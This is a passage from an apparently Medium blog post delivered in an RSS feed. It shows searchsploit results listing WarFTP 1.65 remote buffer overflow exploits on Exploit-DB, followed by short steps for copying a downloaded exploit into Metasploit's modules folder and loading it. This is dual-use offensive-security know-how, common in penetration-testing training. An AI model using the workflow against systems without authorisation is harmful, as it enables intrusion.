href="https://www.exploit-db.com/exploits/3482">https://www.exploit-db.com/exploits/3482</a><br>WarFTP 1.65 (Windows 2000 SP4) - &#39;USER&#39; Remote Buffer Overflow (Python)                | <a href="https://www.exploit-db.com/exploits/3474">https://www.exploit-db.com/exploits/3474</a><br>WarFTP 1.65 - &#39;USER&#39; Remote Buffer Overflow                                            | <a href="https://www.exploit-db.com/exploits/3570">https://www.exploit-db.com/exploits/3570</a><br>--------------------------------------------------------------------------------------- --------------------<br>Shellcodes: No Result<br>kali@kali:~$</pre><h3>Download and run exploits from exploit-dbdownload and run exploits from exploit-db.</h3><p><strong>1- Download the file and copy it</strong></p><p><strong>2- Open folder&gt; file system&gt; /usr/share/metasploit-framework/modules/exploits</strong></p><p><strong>3- Then, paste it using this command part (4)</strong></p><p><strong>4- sudo cp /home/kali/Downloads/nameexploit.rb /usr/share/metasploit-framework/modules/exploits</strong></p><p><strong>5- finally, open in metasploit 6- $use exploitname.rb</strong></p><h3>Done By <a href="https://mobile.twitter.com/dranhkawr">Dr.anhkwar</a></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c49f0828325" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>